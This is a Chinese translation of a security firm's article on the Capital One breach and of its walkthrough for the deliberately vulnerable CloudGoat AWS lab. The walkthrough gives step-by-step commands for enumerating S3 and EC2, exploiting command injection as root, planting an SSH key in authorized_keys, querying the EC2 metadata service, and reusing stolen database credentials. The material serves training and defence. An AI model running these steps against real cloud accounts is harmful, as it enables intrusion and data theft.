引言

云安全，特别是 AWS 安全，再次成为了新闻的焦点。 这次是银行业巨头 Capital One 公司的一个重大漏洞。 受影响的用户有1亿，是迄今为止最大的数据泄露事件之一。 Capital One 现在加入了成为 AWS 和其他云安全平台固有风险受害者的大量公司的行列。

为了让其他人了解 AWS 的安全风险，我们犀牛安全实验室创建了 CloudGoat。 CloudGoat 是一个“设计漏洞”的 AWS 部署工具，为有兴趣学习 AWS 安全性的人提供专注、精心策划的高质量学习体验。 每个场景都是一个独立的学习环境，有明确的目标(或一组目标) ，CloudGoat 能够独立地、安全地启动、重置或关闭每个场景。 CloudGoat 还是一个很好的可以帮助非技术人员了解 AWS 托管的数据破坏的方式和原因的工具。

在本文中，我们将讨论我们对 Capital One 数据泄露的了解，以及受此数据泄露事件启发的新 CloudGoat 场景。

Capital One 的数据泄露事件

到目前为止，大多数读者可能已经意识到上周披露的影响1亿客户的Capital One 违规事件。 根据华盛顿西区联邦检察官办公室的说法，对于那些了解该事件的人，可以阅读下面的简要概述。

Capital One 数据泄露事件回顾

在2019年3月12日至2019年7月17日的某个时间点，一个未经授权的用户访问了存储在 AWS S3存储桶中的属于 Capital One 的数据。 这名未经授权的用户盗取了这些数据，并以他们的真实姓名 Paige Thompson 存储在 GitHub 上。他还在 Slack 频道和 twitter 上吹嘘自己使用“erratic（中文译作：飘忽不定）”这个假 ID 盗取了这些数据。

一些之前不为 Capital One 所知的人通过在线吹嘘或者在 GitHub 上传的方式意识到了数据被盗。之后他们给在Capital One负责漏洞披露电子邮件地址发送了一封电子邮件。

在意识到这一点后，Capital One 展开了调查，确定有这样的风险事件发生，事实上，是一个入侵事件，并通知了美国联邦调查局。 7月29日凌晨，名为“erratic”的一些人在他们西雅图的家中被捕，目前被关押在 SeaTac 的联邦机构，罪名是“计算机欺诈和滥用”。

Capital One 数据泄露事件中的技术细节

根据这个仍在发展中的故事的收费文档和媒体渠道中获得的最新信息，我们现在认为数据泄露是由于 AWS 服务配置不当，允许服务器端请求伪造导致的。

收费文件将其分为三个步骤:

1. 攻击者使用某种方法获取了一个 IAM 角色的 AWS 密钥，这个角色名为“ * * * *-WAF-Role”(充电文档中编辑了完整的角色名称)。

2. 攻击者使用偷来的 AWS 密钥列出该角色可以访问的 S3存储桶。

3. 攻击者使用 AWS CLI S3的 “sync”命令递归地将数据从“ * * * *-WAF-Role”可访问的存储桶复制到其他位置。

在我们的 AWS 渗透测试中，我们经常看到这些类型的错误配置。

犀牛安全实验室出品的 CloudGoat 工具

导致这种安全漏洞的错误配置经常出现在由犀牛安全实验室的研究人员进行的 AWS 渗透测试中，以至于在重新发布 CloudGoat 2的过程中，它被作为许多场景之一被包括在内。 这个场景名为“ec2_ssrf” ，可以在我们的 GitHub 上找到。

我们在犀牛安全实验室最近发布了我们的下一代“设计漏洞” 的AWS 部署工具，CloudGoat。 这个新版本中最大的变化之一是场景的引入。 作为我们对 CloudGoat 持续支持的一部分，我们将发布每个场景的官方漏洞演练教程，解释完成这些场景所需的信息侦察和漏洞利用步骤。

今天，我们将发布一个新的 CloudGoat 场景——“cloud_breach_s3” ，这是受 Capital One 数据泄露事件的启发。 这个场景被设计用来重新创造云端数据泄露发生的条件，就像我们在风险事件发生的最初几个小时所说的那样。

关于准备 AWS 帐户和配置 CloudGoat 的详细说明，你可以参考我们的 CloudGoat 2声明文章。

CloudGoat 的 “cloud_breach_s3”场景演练教程

下面的图表显示了cloud_breach_s3 场景的基本流程。

在创建该场景之后，CloudGoat 会向攻击者提供一个作为反向代理的 EC2实例的 IP 地址。 使用自定义主机头，攻击者利用代理并向元数据服务发出请求，以枚举一个 IAM 角色名称，然后再发出另一个请求，以提取 EC2实例的 Access Key ID 和 Secret Access Key。

然后，攻击者使用发现的键配置 AWS CLI 配置文件，并将 AWS 会话令牌添加到配置文件中。 之后，攻击者就可以列出一个存储桶，然后使用 AWS CLI S3的“ sync”命令递归地从存储桶中复制数据。

“cloud_breach_s3” VS “ec2_ssrf”

必须指出，实际导致 Capital One 数据泄露的名叫“erratic”的人所采取的最初攻击步骤我们仍不清楚。 CloudGoat的 “ec2_ssrf” 场景的第一步可能更好地表示了初始步骤。

在最初泄露后的几个小时内，犀牛安全团队讨论了“erratic”可能采用的攻击向量。 因为我们已经有了一个基于 EC2 SSRF 的场景，所以我们决定创建一个场景来表示另一个可能的路由。 根据收费文件，在第一次执行“cloud_breach_s3”之后的所有步骤都是“erratic”所采取的确切步骤。

云安全展望

这可能不会是最后一次由于亚马逊服务配置不当而导致的重大安全漏洞。 为了理解与使用 AWS 和其他云平台相关的风险，公司必须理解共享责任模型。

共享责任模型

“共享责任模型”是 AWS 用来解释 AWS 和平台用户之间安全责任划分的框架。 这个框架规定 AWS 负责“云的安全性” ，而用户负责“云中的安全性”。

AWS 的职责，或者说“云的安全性” ，包括云平台的基础设施，例如运行在数据中心的硬件。 用户的责任，或者说“云中的安全性” ，包括运行在云基础设施之上的应用程序的安全性。

人们通常认为云平台是简单安全的，责任完全在于平台的提供者。 这是一个关键的误解，犀牛安全实验室的研究人员在渗透测试中一次又一次地看到这样的情况。

需要澄清的是，我们并不是在推测 Capital One 误解了共享责任模型。 事实上，Capital One 团队正是因为他们是云安全的领导者而闻名。 我们想说的是，如果像 Capital One 这样一流的团队可能会因为简单的配置错误而受害，那么其他任何人都将有类似的可能。 因为这些简单的配置错误很容易犯，所以用户必须准确地理解他们在 AWS 中负责什么。

当涉及到云环境中的安全性时，没有什么灵丹妙药。 云防御需要创造性和战术思维。 理解 AWS 安全性的最佳方式是使用该平台——没有什么可以替代实践经验。

对于那些刚刚起步或者没有技术倾向的人来说，这可能是一个很高的准入门槛。 我们希望，通过提供一个工具，使社区能够利用 AWS 获得实践经验，我们可以帮助继续提高云社区的安全意识。

CloudGoat 的“rce_web_app”场景演练教程

接下里，我要阐述的是使用“Lara”和“ McDuck”攻击路径的“ rce_web_app”场景的演练教程。 我们开始吧！

初始设置

在继续本演练之前，你应该安装以下内容。

· Linux 或 MacOS。官方不支持 Windows

             · 要 bash 4.2 + (Linux 或 OSX，在 OSX上会有些困难)

· 需要 Python 3.6 +

· 安装 Terraform 0.12 并在你的 $PATH 中设置环境变量.

· 安装AWS CLI 并在你的 $PATH中设置环境变量，以及一个具有足够特权创建和销毁资源的 AWS 帐户

安装 CloudGoat

可以在我们的 Github 上找到 CloudGoat。 要安装它，你需要运行以下命令：

$ git clone [email protected]:RhinoSecurityLabs/cloudgoat.git ./CloudGoat
$ cd CloudGoat
$ pip3 install -r ./core/python/requirements.txt

创建 IAM 用户

确保你遵循了最佳实践，并使用 IAM 用户设置 CloudGoat。 不要使用 root 用户权限部署 CloudGoat。

你需要导航到 AWS 控制台的 IAM 部分，然后从左侧菜单中选择“ Users” ，然后选择“ Add User”。 在下面的屏幕截图上，输入帐户的用户名并给予帐户编程访问权限，这将为用户生成密钥。 我们将使用这些密钥在 AWS 命令行界面中配置配置文件。

下一步是将现有策略直接附加到新用户。 从给定的三个选项中选择“直接附加现有策略”。 将出现一个策略列表—— CloudGoat 需要管理权限访问，因此选择列表顶部的“ AdministrativeAccess”策略。 点击“标签”部分，因为我们不会在本演练中使用它。 检查信息以确保其正确性，然后点击最后的“创建用户”按钮。 将会显示一个“成功”的消息，你的 AWS 密钥将会显示出来。 这是唯一可以检索 AWS 访问密钥和 AWS 秘密密钥的时间，因此保存它们非常重要。 如果它们丢失了，你将需要生成一组新的密钥。

通过运行下面的命令将 AWS CLI 配置为使用我们刚才创建的密钥并按照提示执行命令：

aws configure --profile cloudgoat

接下来，我们需要配置 IP 白名单，以确保没有其他人可以访问这个故意脆弱的环境。 运行以下命令，并在提示时选择“ Yes”：

./cloudgoat.py config whitelist --auto

设置 Web 应用程序场景

设置场景的最后一步是使用我们设置的 AWS CLI 配置文件运行“ create”命令，并指定要创建的场景。 虽然可以在 AWS 帐户中创建多个场景，但必须单独运行创建命令。 运行以下命令创建 CloudGoat“ rce_web_app”场景：

./cloudgoat.py create rce_web_app --profile cloudgoat

Lara 攻击路径

在这个场景中有两个攻击路径，Lara 和 McDuck。 这两条路径从不同的地方开始，但在某一点汇聚。 我们将从 Lara 的路径开始，但是你可以跳到这里的开始 McDuck 的路径。

配置 Lara 攻击路径

当构建完成时，将显示一些信息以帮助你开始。 对于“ rce_web_app”场景，你将获得两组密钥。 使用下面的命令为给定的密钥创建 AWS CLI 配置文件：

aws configure --profile Lara

发现易受攻击的 Web 应用程序

任何渗透测试的第一步都是弄清楚我们已经可以访问的东西——通常是通过确认许可。 不幸的是，Lara 没有被授权执行许多通常用来确认权限的调用。 正因为如此，我们将不得不手动四处查找，以找到 Lara 可以访问的内容。

查找 EC2实例

我们决定通过运行以下命令来查找 Lara 可以访问的 EC2实例：

aws ec2 describe-instances --profile Lara

这个命令的输出显示 Lara 可以使用公共 IP 访问 EC2实例。 然而，当我们尝试在浏览器中导航到 IP 时，我们会得到一个超时的页面。 我们可以得出结论，这可能值得以后更深入地研究，但是现在，我们将继续寻找新的突破口。

寻找负载均衡器

接下来，我们将通过运行以下命令来查看我们可以访问的任何负载均衡器：

aws elbv2 describe-load-balancers --profile Lara

我们可以在这个命令的输出中看到一个可公开访问的负载均衡器。 当我们试图在浏览器中导航到它时，迎接我们的是一条来自“Gold-Star Executive Interstellar Travel Rewards”程序的消息，该程序引用了一个“秘密” URL。 下面的图片显示了这个登陆页面：

发现并列出 S3 存储桶

由于我们对这个 web 应用程序还无能为力，列出 s3 存储桶是一个很好的下一步。 运行下面的命令可以显示我们可以列出的存储桶：

aws s3 ls --profile Lara

这个命令的输出告诉我们 Lara 可以列出3个存储桶，如下图所示：

通过运行以下命令，我们将能够查找可以列出哪些存储桶以及它们的内容是什么：

aws s3 ls s3://<bucket> --recursive --profile Lara

在其中两个存储桶上运行这个命令时，我们得到了一条“ Access Denied（拒绝访问）”的消息，但是我们能够得到一个存储桶的内容列表。 这个存储桶似乎包含了我们前面发现的负载均衡器的日志，我们可以下载这些日志来检查有用的信息。 运行以下命令将日志文件下载到你的工作目录：

aws s3 cp s3://<bucket>/cg-lb-logs/AWSLogs/793950739751/elasticloadbalancing/us-east-1/2019/06/19/555555555555_elasticloadbalancing_us-east-1_app.cg-lb-cgidp347lhz47g.d36d4f13b73c2fe7_20190618T2140Z_10.10.10.100_5m9btchz.log . --profile Lara

在文本编辑器中打开下载的文件，我们可以看到我们正在查看的是负载均衡器的日志文件，尽管实例 ID 不同于我们目前可以访问的负载均衡器。 检查文件中的有用信息会出现一个日志条目，显示域名中的 HTML 页面。 下面的图片显示了 HTML 页面的日志条目，这可能很有用：

打开日志中的确切 URL 不会查找到任何东西——页面不会加载。 回想一下我们之前发现的“Gold-Star Executive Interstellar Travel Rewards”程序网页，这可能是“秘密”网址的一部分。 当我们将发现的 HTML 页面附加到我们前面发现的负载均衡器的 DNSName 或公共 IP 上时，我们会看到下面的网页，它看起来像是尝试一些命令注入的好选择：

Web 应用程序的漏洞利用

在找到 web 应用程序后，我们尝试了一些命令，发现它很容易受到远程命令执行的影响。 然后，我们可以运行以下命令来查看当前用户是谁：

whoami

令我们高兴(或者恐惧)的是，运行“ whoami”命令可以发现 web 应用程序是以 root 身份运行的，因此我们通过 RCE 运行的每个命令也是以 root 身份运行的。

通过使用下面的命令，我们可以看到应用程序正在运行的实例的公共 IP：

curl ifconfig.co

返回的 IP 与我们前面发现的 EC2实例相同。我们 要再次查看该实例，运行以下命令：

aws ec2 describe-instances --profile Lara

下图是该实例的“ 安全组”条目，显示它是“cg-ec2-ssh-cgid<uniqueID>”组的成员。 这告诉我们服务器很可能启用了 SSH 访问：

添加 SSH 公钥

接下来，我们想看看，如果只是将 SSH 证书添加到授权密钥文件中，会发生什么情况。 为此，我们首先需要生成一些 SSH 密钥。 在本地计算机上运行以下命令将生成公共和私有 SSH 密钥：

ssh-keygen

试图以 root 身份使用 SSH 只会显示一条消息，建议你使用 ubuntu 用户。 因此，我们将通过 RCE 运行以下命令，将刚才生成的公钥回显到 ubuntu 用户的授权密钥文件：

echo "<publicKey>" >> /home/ubuntu/.ssh/authorized_keys

现在，我们将简要地转移重点，以涵盖这个场景中的其他攻击路径，即 McDuck。 Lara 和 McDuck 从不同的地方开始，但是他们的路径会聚在一个特定的点上，你可以跳到这里作为开始。

McDuck 的攻击路径

建立 McDuck 的攻击路径

本演练将使用在部署该场景时生成的 McDuck 密钥。 运行下面的命令并按照提示在 AWS CLI 中配置 McDuck 配置文件：

aws configure --profile McDuck

发现 SSH 密钥

我们总是希望通过看到我们能接触到的东西来开始一个渗透测试。 在 Lara 的攻击路径中，有几个 S3存储桶被证明是有用的，所以这似乎是一个很好的开始。 下面的命令列出了 McDuck 可用的 S3存储桶：

aws s3 ls --profile McDuck

与 Lara 一样，我们可以列出3个存储桶，但是当我们试图查看“ cg-logs”和“ cg-secret”存储桶的内容时，会得到一条“ Access Denied”的消息。 运行以下命令将列出“ cg-keystore”存储桶的内容：

aws s3 ls s3://cg-logs-s3-bucket-cgid<uniqueID> --recursive --profile McDuck

下面的图片中显示了前面命令的输出，其中显示了“cg-keystore” 存储桶中的 SSH 密钥：

下一步是下载这些文件，看看还能找到什么。 在本地计算机上运行以下命令，为 cloudgoat.pub 文件和 cloudgoat.pub 文件创建一个目录，并下载它们以供以后使用：

mkdir mcduck && cd mcduck 
aws s3 cp s3://cg-keystore-s3-bucket-cgid<uniqueID>/cloudgoat . --profile McDuck
aws s3 cp s3://cg-keystore-s3-bucket-cgid<uniqueID>/cloudgoat.pub . --profile McDuck

现在我们已经看过了 S3存储桶，接下来我们应该看看 EC2。 运行以下命令查看是否有任何 EC2实例的 McDuck 可以列出：

aws ec2 describe-instances --profile McDuck

我们可以看到，我们可以列出一个具有公共 IP 的 EC2实例，它是一个组的成员，这表明 SSH 访问是有可能的。 下面的图片显示了实例的“Groups”部分，其中有一个条目为“ cg-ec2-ssh-cgid<uniqueID>”。

最后的攻击

如前所述，Lara和McDuck的攻击路径从这里开始合并。 因此，使用你为 Lara 生成的 SSH 私钥或 McDuck 发现的 SSH 私钥，尝试通过 SSH 连接到实例的公共 IP，传入你的私钥文件：

ssh -i <private_key> [email protected]

EC2实例漏洞利用

我们现在可以对 EC2实例进行远程 root 访问。 环顾一下这台机器，我们对本地访问并不感兴趣。 下一步是查看 EC2实例具有哪些访问权限。 为此，我们需要在 EC2实例上安装 AWS CLI，然后重复前面所做的枚举操作。 运行以下命令来安装 AWS CLI：

sudo apt-get install awscli

在这种情况下，我们不需要配置相关的配置文件，因为 AWS CLI 将自动使用 EC2 MetaData 服务提供的密钥。 运行以下命令将显示 EC2实例可以访问哪些存储桶：

aws s3 ls

我们看到与前面相同的存储桶，但是这次我们可以访问“ cg-secret-s3”存储桶。 运行以下命令查看存储桶中包含的内容：

aws s3 ls s3://cg-secret-s3-bucket-cgid<uniqueID> --recursive

将发现的文件复制到 EC2实例上的工作目录文件夹中，并运行以下命令检查内容：

aws s3 cp s3://cg-secret-s3-bucket-cgidzay5e3vg5r/db.txt . | cat db.txt

这将输出数据库凭证。 不错！ 下一步是找到在哪里使用它们。 要查看是否有 DB 实例在运行，可以执行以下命令：

aws rds describe-db-instances --region us-east-1

这个命令的输出如下图所示：

连接到数据库

在确认了 RDS 数据库的位置后(它碰巧与我们发现的凭证具有相同的 MasterUsername 和 DBName) ，我们尝试连接到数据库。 为此，运行以下命令：

psql postgresql://cgadmin:[email protected]<rds-instance>:5432/cloudgoat

注意: 存在用于发现 RDS 实例的替代路径。 只需使用 curl 从实例元数据中读取用户数据，就可以显示 RDS 实例位置和凭证：

curl http://169.254.169.254/latest/user-data

现在我们已经连接到了数据库，最后一步是列出表并发现标志。 当连接到 RDS 实例时，在 psql 中运行以下命令将列出表、显示标志并完成此场景：

\dt
select * from sensitive_information

“超级密码”是你的 flag，如下图所示。 恭喜你，你现在已经完成了 rce_web_app 场景！ 这不是一个简单的场景，攻击路径也不简单。

总结

本演练演示了“rce_web_app”场景中的 Lara 和 McDuck 攻击路径。 在这两种情况下，递归执行信息侦察，或者在达到新的访问级别时重新检查你的权限和环境，都会产生有用的信息，最终就能够找到flag。 遵循 Lara 路径的攻击者利用常规的针对 web 应用程序的渗透测试技能将自己添加到 SSH“授权密钥”文件中。 一旦连接到 EC2实例，攻击者将重新评估其权限，以发现以前不可访问的 S3 存储桶 中的新信息，或者查询 EC2元数据服务以发现 RDS 实例。 最后，攻击者连接到 RDS 实例并发现了flag。

这些博客文章的目的是演示 CloudGoat 是如何工作的，以及它如何帮助渗透测试人员了解错误配置的 AWS 环境。 我们还希望它能够帮助 AWS 安全工程师和蓝队识别一些常见的错误配置，并帮助在生产环境中构建防御系统。

我们将在后续发布所有 CloudGoat 场景的官方演练，敬请期待！

本文翻译自：https://rhinosecuritylabs.com/aws/cloudgoat-walkthrough-rce_web_app/ https://rhinosecuritylabs.com/aws/capital-one-cloud_breach_s3-cloudgoat/如若转载，请注明原文地址： https://www.4hou.com/system/20711.html